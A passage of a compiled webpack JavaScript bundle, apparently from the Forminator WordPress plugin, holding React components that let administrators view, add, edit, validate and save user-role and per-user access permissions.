{ className: 'fui-field--actions' },
_react2.default.createElement(
'div',
{ className: 'sui-dropdown' },
_react2.default.createElement(
'button',
{ ref: this.permissionMenu, className: 'permission-menu sui-button-icon sui-dropdown-anchor' },
_react2.default.createElement('span', { className: 'sui-icon-widget-settings-config', 'aria-hidden': 'true' }),
_react2.default.createElement(
'span',
{ className: 'sui-screen-reader-text' },
(0, _utils.translate)('Permission options')
)
),
_react2.default.createElement(
'ul',
null,
_react2.default.createElement(
'li',
null,
_react2.default.createElement(
'button',
{
className: 'forminator-field-edit',
onClick: this.showModal
},
_react2.default.createElement('span', { className: 'sui-icon-widget-settings-config', 'aria-hidden': 'true' }),
(0, _utils.translate)('Edit')
)
),
_react2.default.createElement(
'li',
null,
_react2.default.createElement(
'button',
{
className: 'forminator-field-remove sui-option-red',
onClick: this.deleteModal
},
_react2.default.createElement('span', { className: 'sui-icon-trash', 'aria-hidden': 'true' }),
(0, _utils.translate)('Delete')
)
)
)
)
)
)
);
}
}]);
return PermissionItem;
}(_react.Component);
exports.default = PermissionItem;
/***/ }),
/* 821 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } /* jshint esversion: 6 */
var PermissionIcon = function (_Component) {
_inherits(PermissionIcon, _Component);
function PermissionIcon(props) {
_classCallCheck(this, PermissionIcon);
return _possibleConstructorReturn(this, (PermissionIcon.__proto__ || Object.getPrototypeOf(PermissionIcon)).call(this, props));
}
_createClass(PermissionIcon, [{
key: 'render',
value: function render() {
var prop = this.props;
var isAdmin = prop.isAdmin;
var tooltipWidth = { "--tooltip-width": "220px" };
var icon = void 0,
tooltipText = void 0;
if (isAdmin || (0, _utils.isTrue)(prop[prop.access])) {
icon = 'sui-icon-check';
tooltipText = (0, _utils.translate)('Can');
} else {
icon = 'sui-icon-lock';
tooltipText = (0, _utils.translate)("Can't");
}
// Add space.
tooltipText += ' ';
// Set the tooltip text for each access.
switch (prop.access) {
case 'manage_forminator_modules':
tooltipText += (0, _utils.translate)('create, edit, and delete modules (Forms, Polls, and Quizzes).');
break;
case 'manage_forminator_submissions':
tooltipText += (0, _utils.translate)('view and delete submissions.');
break;
case 'manage_forminator_addons':
tooltipText += (0, _utils.translate)('configure add-ons.');
break;
case 'manage_forminator_integrations':
tooltipText += (0, _utils.translate)('configure integrations.');
break;
case 'manage_forminator_reports':
tooltipText += (0, _utils.translate)('configure reports.');
break;
case 'manage_forminator_settings':
if (isAdmin) {
tooltipText += (0, _utils.translate)('configure all settings.');
} else if (!(0, _utils.isTrue)(prop[prop.access])) {
tooltipText += (0, _utils.translate)('configure settings.');
} else {
tooltipText += (0, _utils.translate)('configure settings except permissions.');
}
break;
}
return _react2.default.createElement(
'td',
{ colSpan: 2, className: 'fp-item-col' },
_react2.default.createElement(
'span',
{
className: 'sui-tooltip sui-tooltip-constrained',
style: tooltipWidth,
'data-tooltip': tooltipText
},
_react2.default.createElement('span', { className: icon + ' sui-sm', 'aria-hidden': 'true' })
)
);
}
}]);
return PermissionIcon;
}(_react.Component);
exports.default = PermissionIcon;
/***/ }),
/* 822 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _reactRedux = __webpack_require__(13);
var _redux = __webpack_require__(11);
var _modal = __webpack_require__(823);
var _modal2 = _interopRequireDefault(_modal);
var _modal3 = __webpack_require__(401);
var modalActions = _interopRequireWildcard(_modal3);
var _permissions = __webpack_require__(402);
var permissionActions = _interopRequireWildcard(_permissions);
function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj.default = obj; return newObj; } }
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function mapStateToProps(state) {
return {
permissions: state.permissions || {},
modal: state.modal
};
}
function mapDispatchToProps(dispatch) {
return {
actions: {
permissionActions: (0, _redux.bindActionCreators)(permissionActions, dispatch),
modalActions: (0, _redux.bindActionCreators)(modalActions, dispatch)
}
};
}
exports.default = (0, _reactRedux.connect)(mapStateToProps, mapDispatchToProps)(_modal2.default);
/***/ }),
/* 823 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _reactDom = __webpack_require__(23);
var _reactDom2 = _interopRequireDefault(_reactDom);
var _index = __webpack_require__(824);
var _index2 = _interopRequireDefault(_index);
var _reactDisplace = __webpack_require__(182);
var _reactDisplace2 = _interopRequireDefault(_reactDisplace);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
// import FocusTrap from './modals/partials/focus-trap';
var MODAL_TYPES = {
permissions: _index2.default.permissionsModal,
permissionDelete: _index2.default.permissionDeleteModal
};
/* global setTimeout,clearTimeout */
var Modal = function (_Component) {
_inherits(Modal, _Component);
function Modal(props) {
_classCallCheck(this, Modal);
return _possibleConstructorReturn(this, (Modal.__proto__ || Object.getPrototypeOf(Modal)).call(this, props));
}
_createClass(Modal, [{
key: 'componentDidUpdate',
value: function componentDidUpdate(prevProps) {
var _this2 = this;
this.$el = jQuery(this.el);
var self = this;
if (!_.isEmpty(prevProps.modal) /* && ! _.isNull( this.props.modal.modalType ) */) {
if (prevProps.modal.modalProps.open !== this.props.modal.modalProps.open) {
var modalElement = _reactDom2.default.findDOMNode(this);
if (this.props.modal.modalProps.open) {
this.focusAfterClosed = this.props.modal.modalProps.activeElement;
var focusFirst = this.props.modal.modalProps.focusFirst;
setTimeout(function () {
if ('string' === typeof focusFirst) {
self.focusFirst = self.$el.find(focusFirst);
} else if ('object' === (typeof focusFirst === 'undefined' ? 'undefined' : _typeof(focusFirst))) {
self.focusFirst = focusFirst;
} else {
self.focusFirst = null;
}
if (self.focusFirst && self.focusFirst.length) {
self.setFocus(self.focusFirst.first());
}
}, 320);
jQuery('#wpwrap').attr('aria-hidden', 'true');
}
if (!this.props.modal.modalProps.open) {
jQuery('#wpwrap').attr('aria-hidden', 'false');
setTimeout(function () {
self.setFocus(self.focusAfterClosed);
}, 320);
this.hideModalTimeout = setTimeout(function () {
modalElement.setAttribute('aria-hidden', 'true');
// cleanup
_this2.props.modal.modalType = null;
_this2.forceUpdate();
}, 300);
} else {
modalElement.removeAttribute('aria-hidden');
}
}
}
}
}, {
key: 'setFocus',
value: function setFocus(element) {
var focusInterval = 10; // ms, time between function calls
var focusTotalRepetitions = 10; // number of repetitions
if (typeof element === 'undefined') {
return;
}
element.attr('tabindex', '0');
element.blur();
var focusRepetitions = 0;
var interval = window.setInterval(function () {
element.focus();
focusRepetitions++;
if (focusRepetitions >= focusTotalRepetitions) {
window.clearInterval(interval);
}
}, focusInterval);
}
}, {
key: 'componentWillUnmount',
value: function componentWillUnmount() {
clearTimeout(this.hideModalTimeout);
}
}, {
key: 'render',
value: function render() {
var _this3 = this;
if (_.isUndefined(this.props.modal) || _.isUndefined(this.props.modal.modalProps) || _.isNull(this.props.modal.modalType)) {
return null;
}
var modalClass = 'sui-modal-lg';
var overlayClass = ['sui-modal-content', 'sui-content-fade-in'];
if (!this.props.modal.modalProps.open) {
overlayClass = ['sui-modal-content', 'sui-content-fade-out'];
}
var modalType = this.props.modal.modalType;
var SpecifiedModal = MODAL_TYPES[modalType];
if ('publish' === modalType) {
modalClass = 'sui-modal-sm fui-dialog-publish';
}
if ('shortcode' === modalType) {
modalClass = 'sui-modal-sm fui-dialog-publish';
}
var smModalType = ['permissionDelete'];
if (smModalType.includes(modalType)) {
modalClass = 'sui-modal-sm';
}
if (!_.isUndefined(this.props.modal.modalProps) && !_.isUndefined(this.props.modal.modalProps.field) && !_.isUndefined(this.props.modal.modalProps.field.type)) {
var fieldType = this.props.modal.modalProps.field.type;
if (fieldType === 'radio' || fieldType === 'checkbox' || fieldType === 'select') {
modalClass += ' multivalue-modal';
} else {
modalClass += ' ' + this.props.modal.modalProps.field.type + '-modal';
}
}
var classes = jQuery('.sui-color-accessible').length ? 'sui-wrap sui-color-accessible' : 'sui-wrap';
return _react2.default.createElement(
'div',
{ className: classes },
_react2.default.createElement(
'div',
{ id: 'forminator-modal', className: 'sui-modal sui-active ' + modalClass + ' ' + modalType },
_react2.default.createElement(
'div',
_extends({
role: 'dialog',
id: 'modal-' + this.props.modal.modalProps.id,
className: '' + overlayClass.join(' '),
'aria-modal': 'true',
'aria-live': 'polite'
}, this.props.modal.modalProps.labelledBy && { 'aria-labelledby': this.props.modal.modalProps.labelledBy }, this.props.modal.modalProps.describedBy && { 'aria-describedby': this.props.modal.modalProps.describedBy }, {
ref: function ref(el) {
return _this3.el = el;
}
}),
_react2.default.createElement(
'div',
{ className: 'sui-box', style: { marginBottom: 0 } },
_react2.default.createElement(SpecifiedModal, this.props)
)
)
)
);
}
}]);
return Modal;
}(_react.Component);
var DisplacedModal = (0, _reactDisplace2.default)(Modal);
DisplacedModal.renderTo = function (input) {
return (0, _reactDisplace2.default)(Modal, { renderTo: input });
};
module.exports = DisplacedModal;
/***/ }),
/* 824 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _permissions = __webpack_require__(825);
var _permissions2 = _interopRequireDefault(_permissions);
var _permissionDelete = __webpack_require__(826);
var _permissionDelete2 = _interopRequireDefault(_permissionDelete);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
var modalTypes = {
permissionsModal: _permissions2.default,
permissionDeleteModal: _permissionDelete2.default
};
exports.default = modalTypes;
/***/ }),
/* 825 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _axios = __webpack_require__(39);
var _axios2 = _interopRequireDefault(_axios);
var _qs = __webpack_require__(40);
var _qs2 = _interopRequireDefault(_qs);
var _utils = __webpack_require__(1);
var _notifications = __webpack_require__(30);
var _notifications2 = _interopRequireDefault(_notifications);
var _header = __webpack_require__(64);
var _header2 = _interopRequireDefault(_header);
var _title = __webpack_require__(66);
var _title2 = _interopRequireDefault(_title);
var _footer = __webpack_require__(87);
var _footer2 = _interopRequireDefault(_footer);
var _close = __webpack_require__(65);
var _close2 = _interopRequireDefault(_close);
var _radioTabs = __webpack_require__(7);
var _radioTabs2 = _interopRequireDefault(_radioTabs);
var _container = __webpack_require__(4);
var _container2 = _interopRequireDefault(_container);
var _suiSelect = __webpack_require__(20);
var _suiSelect2 = _interopRequireDefault(_suiSelect);
var _suiTags = __webpack_require__(300);
var _suiTags2 = _interopRequireDefault(_suiTags);
var _checkbox = __webpack_require__(41);
var _checkbox2 = _interopRequireDefault(_checkbox);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _toConsumableArray(arr) { if (Array.isArray(arr)) { for (var i = 0, arr2 = Array(arr.length); i < arr.length; i++) { arr2[i] = arr[i]; } return arr2; } else { return Array.from(arr); } }
function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var permissionsModal = function (_Component) {
_inherits(permissionsModal, _Component);
function permissionsModal(props) {
_classCallCheck(this, permissionsModal);
var _this = _possibleConstructorReturn(this, (permissionsModal.__proto__ || Object.getPrototypeOf(permissionsModal)).call(this, props));
_this.saveBtn = _react2.default.createRef();
_this.closeModal = _this.props.modal.modalProps.closeModal.bind(_this);
_this.updateProperty = _this.updateProperty.bind(_this);
_this.savePermission = _this.savePermission.bind(_this);
_this.validator = _this.validator.bind(_this);
_this.showNotification = _this.showNotification.bind(_this);
_this.updated = false;
_this.modalData = Object.assign({}, _this.props.modal.modalProps);
_this.userRoles = _this.getUserRoles(Object.assign({}, forminatorData.userRoles));
_this.defaultRole = Object.keys(_this.userRoles)[0];
var defaultType = _.isEmpty(_this.userRoles) ? 'specific' : 'role';
// For all additional access in the future,
// make sure to add it also in the validator in render.
_this.state = {
pid: _this.modalData.pid || '',
permission_type: _this.modalData.permission_type || defaultType,
user_role: _this.modalData.user_role || _this.defaultRole,
exclude_users: _this.modalData.exclude_users || [],
specific_user: _this.modalData.specific_user || [],
avatar: _this.modalData.avatar || '',
user_info: _this.modalData.user_info || [],
manage_forminator_modules: _this.modalData.manage_forminator_modules || false,
manage_forminator_submissions: _this.modalData.manage_forminator_submissions || false,
manage_forminator_addons: _this.modalData.manage_forminator_addons || false,
manage_forminator_integrations: _this.modalData.manage_forminator_integrations || false,
manage_forminator_reports: _this.modalData.manage_forminator_reports || false,
manage_forminator_settings: _this.modalData.manage_forminator_settings || false,
current_user: _this.modalData.currentUser || []
};
return _this;
}
_createClass(permissionsModal, [{
key: 'componentDidMount',
value: function componentDidMount() {
this.$saveBtn = jQuery(this.saveBtn.current);
}
}, {
key: 'componentDidUpdate',
value: function componentDidUpdate(prevProps, prevState) {
if (JSON.stringify(this.state) !== JSON.stringify(prevState)) {
this.updated = true;
} else {
this.updated = false;
}
}
}, {
key: 'componentWillUnmount',
value: function componentWillUnmount() {
this.$saveBtn.off;
}
// Remove user roles that were already set.
}, {
key: 'getUserRoles',
value: function getUserRoles(userRoles) {
var self = this;
// Remove admin first.
delete userRoles['administrator'];
_.forEach(userRoles, function (val, role) {
if (!_.isUndefined(_.find(self.props.permissions, function (p) {
return p.user_role === role;
}))) {
if (!self.modalData.new && role !== self.modalData.user_role || self.modalData.new) {
delete userRoles[role];
}
}
});
return userRoles;
}
// Make it possible to update state from child components
}, {
key: 'updateProperty',
value: function updateProperty(slug, value) {
this.setState(_defineProperty({}, slug, value));
}
}, {
key: 'getUserTagsOptions',
value: function getUserTagsOptions($property) {
var _this2 = this;
var searchData = function searchData(params) {
var args = {
action: 'forminator_builder_search_emails',
_wpnonce: forminatorData.searchNonce,
exclude_admins: true,
q: params.term,
permission: 'forminator-settings',
pid: _this2.state.pid,
property: $property,
is_permission: true
};
// Search users from chosen role.
if ('role' === _this2.state.permission_type) {
args.role = _this2.state.user_role;
}
return args;
};
return {
tags: false,
minimumInputLength: 1,
tokenSeparators: [',', ' '],
placeholder: (0, _utils.translate)('Click to search a user…'),
language: {
searching: function searching() {
return (0, _utils.translate)('Searching');
},
noResults: function noResults() {
return (0, _utils.translate)('User not found');
}
},
ajax: {
url: forminatorData.ajaxUrl,
type: 'POST',
delay: 150,
data: function data(params) {
return searchData(params);
},
processResults: function processResults(data) {
return {
results: data.data
};
},
cache: true
},
templateResult: function templateResult(result) {
if (!_.isUndefined(result.id) && !_.isUndefined(result.text) && !_.isUndefined(result.display_name)) {
return jQuery('<span>' + result.display_name + ' ' + '(' + result.text + ')' + '</span>');
}
return result.text;
},
createTag: function createTag(params) {
var term = params.term.trim();
if (!(0, _utils.isEmailWp)(term)) {
return null;
}
return {
id: term,
text: term
};
}
};
}
}, {
key: 'showNotification',
value: function showNotification(type, msg) {
var custom = new _notifications2.default({
type: type,
text: 'error' === type ? (0, _utils.translate)('Something went wrong. Please try again.') : msg
});
custom.open();
if ('error' === type) {
console.log(msg);
}
this.closeModal();
}
}, {
key: 'savePermission',
value: function savePermission() {
var _this3 = this;
// If no updates were made, just close the modal.
if (!(0, _utils.isTrue)(this.modalData.new) && !this.updated) {
this.closeModal();
return;
}
// Apply onload class.
this.$saveBtn.addClass('sui-button-onload');
this.$saveBtn.prop('disabled', true);
var permission = Object.assign({}, this.state);
var newState = void 0;
var permissionsData = {
action: 'forminator_save_permissions',
_wpnonce: forminatorData.permission_nonce
};
// Delete unnecessary data.
if ('role' === permission.permission_type) {
delete permission.specific_user;
} else {
delete permission.user_role;
delete permission.exclude_users;
}
// We have a new permission, insert new one.
if (this.modalData.new) {
permissionsData.mode = 'new';
// Add permission ID.
permission.pid = 'pid-' + (0, _utils.randNumber)() + '-' + (0, _utils.randNumber)();
newState = [].concat(_toConsumableArray(this.props.permissions), [permission]);
// Replace edited permission.
} else {
permissionsData.mode = 'edit';
permissionsData.pid = permission.pid;
newState = this.props.permissions;
var currentPermission = _.findIndex(newState, function (p) {
return p.pid === permission.pid;
});
newState.splice(currentPermission, 1, permission);
}
permissionsData.permissions = JSON.stringify(newState);
_axios2.default.post(forminatorData.ajaxUrl, _qs2.default.stringify(permissionsData)).then(function (data) {
var notifType = void 0,
notifMessage = void 0;
if (data.data.success) {
_this3.props.actions.permissionActions.updatePermissions(data.data.data);
notifType = 'success';
notifMessage = _this3.modalData.new ? (0, _utils.translate)('New permission added successfully!') : (0, _utils.translate)('Permission updated successfully!');
} else {
notifType = 'error';
notifMessage = data.data;
}
_this3.showNotification(notifType, notifMessage);
}).catch(function (err) {
_this3.showNotification('error', err);
}).then(function () {
// Close modal
_this3.closeModal();
});
}
// Validate modal.
}, {
key: 'validator',
value: function validator() {
var state = this.state;
var isValid = false,
validationError = [],
isTypeValid = false,
isAccessValid = false;
// Check if role or user is selected.
if ('specific' === state.permission_type && _.isEmpty(state.specific_user)) {
isTypeValid = false;
validationError.push((0, _utils.translate)('no user selected'));
} else if ('role' === state.permission_type && _.isEmpty(state.user_role)) {
isTypeValid = false;
validationError.push((0, _utils.translate)('no role selected'));
} else {
isTypeValid = true;
}
// Check if all access are unchecked.
if (!(0, _utils.isTrue)(state.manage_forminator_modules) && !(0, _utils.isTrue)(state.manage_forminator_submissions) && !(0, _utils.isTrue)(state.manage_forminator_addons) && !(0, _utils.isTrue)(state.manage_forminator_integrations) && !(0, _utils.isTrue)(state.manage_forminator_reports) && !(0, _utils.isTrue)(state.manage_forminator_settings)) {
isAccessValid = false;
validationError.push((0, _utils.translate)('no permissions checked'));
} else {
isAccessValid = true;
}
if (isTypeValid && isAccessValid) {
isValid = true;
if (!_.isUndefined(this.$saveBtn)) {
this.$saveBtn.parent('.btn-save-wrap').removeClass('sui-tooltip');
this.$saveBtn.prop('disabled', false);
}
} else {
isValid = false;
validationError = validationError.join(', ');
if (!_.isUndefined(this.$saveBtn)) {
this.$saveBtn.parent('.btn-save-wrap').addClass('sui-tooltip');
this.$saveBtn.prop('disabled', true);
}
}
return {
isValid: isValid,
validationError: validationError
};
}
}, {
key: 'render',
value: function render() {
var titleTag = '',
editNotice = '',
saveBtn = (0, _utils.translate)('Add Permissions');
var isNew = (0, _utils.isTrue)(this.modalData.new);
var modalTitle = (0, _utils.translate)(isNew ? 'Add Permissions' : 'Edit Permissions');
var permissionType = !_.isUndefined(this.modalData.permission_type) ? this.modalData.permission_type : 'role';
// Set the text depending on permissionType.
if (!isNew) {
saveBtn = (0, _utils.translate)('Update Permissions');
if ('role' === permissionType) {
titleTag = (0, _utils.translate)('User Role');
editNotice = (0, _utils.translate)('You are editing permissions for the {{b}}%(role)s{{/b}} user role.', {
args: {
role: this.userRoles[this.modalData.user_role].name
},
components: {
b: _react2.default.createElement('b', null)
}
});
} else {
var userIds = this.state.specific_user;
var numUsers = this.state.specific_user.length;
var userName = !_.isUndefined(this.state.user_info[userIds[0]]) ? this.state.user_info[userIds[0]].name : this.state.current_user.name;
var userEmail = !_.isUndefined(this.state.user_info[userIds[0]]) ? this.state.user_info[userIds[0]].email : this.state.current_user.email;
titleTag = (0, _utils.translate)('Specific User');
editNotice = (0, _utils.translate)('You are editing permissions for {{b}}%(userName)s{{/b}}', {
args: {
userName: userName
},
components: {
b: _react2.default.createElement('b', null)
}
});
// End of statement depends on the number of users.
if (numUsers > 1) {
editNotice = editNotice.concat(' (' + userEmail + ') + ' + (numUsers - 1));
if (numUsers > 2) {
editNotice = editNotice.concat((0, _utils.translate)(' others.'));
} else {
editNotice = editNotice.concat((0, _utils.translate)(' other.'));
}
} else {
editNotice = editNotice.concat(' (' + userEmail + ').');
}
}
}
return _react2.default.createElement(
_react2.default.Fragment,
null,
_react2.default.createElement(
_header2.default,
{
closeType: 'icon',
closeModal: this.closeModal
},
_react2.default.createElement(_title2.default, {
id: 'permissions-modal-title',
label: modalTitle,
tag: titleTag
})
),
_react2.default.createElement(
'div',
{ className: 'sui-box-body' },
isNew && _react2.default.createElement(
'div',
{ className: 'sui-box-settings-row' },
_react2.default.createElement(
'div',
{ className: 'sui-box-settings-col-12' },
_react2.default.createElement(
'span',
{ className: 'sui-settings-label sui-dark' },
(0, _utils.translate)('User Role/Users')
),
_react2.default.createElement(
'span',
{ className: 'sui-description' },
(0, _utils.translate)('Choose which user role or individual user(s) should have access ' + 'to the Forminator features selected in the Permissions section below.')
),
_react2.default.createElement(
_radioTabs2.default,
_extends({}, this.props, {
settings: this.state,
updateProperty: this.updateProperty,
property: 'permission_type'
}),
!_.isEmpty(this.userRoles) && _react2.default.createElement(
_container2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('User Role'),
value: 'role',
boxClass: 'sui-tab-boxed'
}),
_react2.default.createElement(
_suiSelect2.default,
_extends({}, this.props, {
settings: this.state,
updateProperty: this.updateProperty,
property: 'user_role',
label: (0, _utils.translate)('Choose user role'),
defaultValue: this.defaultRole
}),
_.map(this.userRoles, function (role, id) {
return _react2.default.createElement(
'option',
{ value: id, key: id },
role.name
);
})
),
_react2.default.createElement(_suiTags2.default, _extends({}, this.props, {
settings: this.state,
updateProperty: this.updateProperty,
property: 'exclude_users',
style: { marginBottom: '10px' },
options: this.getUserTagsOptions(),
label: (0, _utils.translate)('Exclude users')
})),
_react2.default.createElement(
'span',
{ className: 'sui-description' },
(0, _utils.translate)('Use this option to exclude specific ' + 'users with the selected role from accessing Forminator.')
)
),
_react2.default.createElement(
_container2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Specific User'),
value: 'specific',
boxClass: 'sui-tab-boxed'
}),
_react2.default.createElement(_suiTags2.default, _extends({}, this.props, {
settings: this.state,
updateProperty: this.updateProperty,
property: 'specific_user',
style: { marginBottom: '10px' },
options: this.getUserTagsOptions('specific_user'),
label: (0, _utils.translate)('Choose users')
}))
)
)
)
),
!isNew && _react2.default.createElement(
_react2.default.Fragment,
null,
_react2.default.createElement(
'div',
{
role: 'alert',
className: 'sui-notice sui-active',
style: { display: 'block' },
'aria-live': 'assertive'
},
_react2.default.createElement(
'div',
{ className: 'sui-notice-content' },
_react2.default.createElement(
'div',
{ className: 'sui-notice-message' },
_react2.default.createElement('span', {
className: 'sui-notice-icon sui-icon-info',
'aria-hidden': 'true'
}),
_react2.default.createElement(
'p',
null,
editNotice
)
)
)
),
'role' === permissionType && _react2.default.createElement(
_react2.default.Fragment,
null,
_react2.default.createElement(
'span',
{ className: 'sui-settings-label sui-dark' },
(0, _utils.translate)('Exclude users')
),
_react2.default.createElement(
'span',
{ className: 'sui-description', style: { marginBottom: '10px' } },
(0, _utils.translate)('Use this option to exclude specific ' + 'users with the selected role from accessing Forminator.')
),
_react2.default.createElement(_suiTags2.default, _extends({}, this.props, {
settings: this.state,
updateProperty: this.updateProperty,
property: 'exclude_users',
options: this.getUserTagsOptions()
// label={ translate( 'Exclude users' ) }
}))
),
'specific' === permissionType && _react2.default.createElement(
_react2.default.Fragment,
null,
_react2.default.createElement(
'span',
{ className: 'sui-settings-label sui-dark' },
(0, _utils.translate)('Choose users')
),
_react2.default.createElement(_suiTags2.default, _extends({}, this.props, {
settings: this.state,
updateProperty: this.updateProperty,
property: 'specific_user',
style: { marginBottom: '10px' },
options: this.getUserTagsOptions('specific_user')
// label={ translate( 'Choose users' ) }
}))
),
_react2.default.createElement('hr', null)
),
_react2.default.createElement(
'div',
{ className: 'sui-box-settings-row' },
_react2.default.createElement(
'div',
{ className: 'sui-box-settings-col' },
_react2.default.createElement(
'span',
{ className: 'sui-settings-label sui-dark' },
(0, _utils.translate)('Permissions')
),
_react2.default.createElement(
'span',
{ className: 'sui-description' },
(0, _utils.translate)('Choose what permissions the selected user role or users will have.')
),
_react2.default.createElement(
'div',
{ className: 'sui-form-field permissions-checkboxes' },
_react2.default.createElement(_checkbox2.default, _extends({}, this.props, {
settings: this.state,
updateProperty: this.updateProperty,
property: 'manage_forminator_modules',
label: (0, _utils.translate)('Modules'),
itemClass: 'sui-checkbox-stacked sui-checkbox-sm'
})),
_react2.default.createElement(
'span',
{ className: 'sui-description permission-description' },
(0, _utils.translate)('Create, edit, and delete modules (Forms, Polls, Quizzes).')
),
_react2.default.createElement(_checkbox2.default, _extends({}, this.props, {
settings: this.state,
updateProperty: this.updateProperty,
property: 'manage_forminator_submissions',
label: (0, _utils.translate)('Submissions'),
itemClass: 'sui-checkbox-stacked sui-checkbox-sm'
})),
_react2.default.createElement(
'span',
{ className: 'sui-description permission-description' },
(0, _utils.translate)('Access, export, and delete submissions.')
),
_react2.default.createElement(_checkbox2.default, _extends({}, this.props, {
settings: this.state,
updateProperty: this.updateProperty,
property: 'manage_forminator_addons',
label: (0, _utils.translate)('Add-ons'),
itemClass: 'sui-checkbox-stacked sui-checkbox-sm'
})),
_react2.default.createElement(
'span',
{ className: 'sui-description permission-description' },
(0, _utils.translate)('View, install/uninstall, and configure Add-ons.')
),
_react2.default.createElement(_checkbox2.default, _extends({}, this.props, {
settings: this.state,
updateProperty: this.updateProperty,
property: 'manage_forminator_integrations',
label: (0, _utils.translate)('Integrations'),
itemClass: 'sui-checkbox-stacked sui-checkbox-sm'
})),
_react2.default.createElement(
'span',
{ className: 'sui-description permission-description' },
(0, _utils.translate)('Access and configure global integrations.')
),
_react2.default.createElement(_checkbox2.default, _extends({}, this.props, {
settings: this.state,
updateProperty: this.updateProperty,
property: 'manage_forminator_reports',
label: (0, _utils.translate)('Reports'),
itemClass: 'sui-checkbox-stacked sui-checkbox-sm'
})),
_react2.default.createElement(
'span',
{ className: 'sui-description permission-description' },
(0, _utils.translate)('View reports and schedule email notifications for modules.')
),
_react2.default.createElement(_checkbox2.default, _extends({}, this.props, {
settings: this.state,
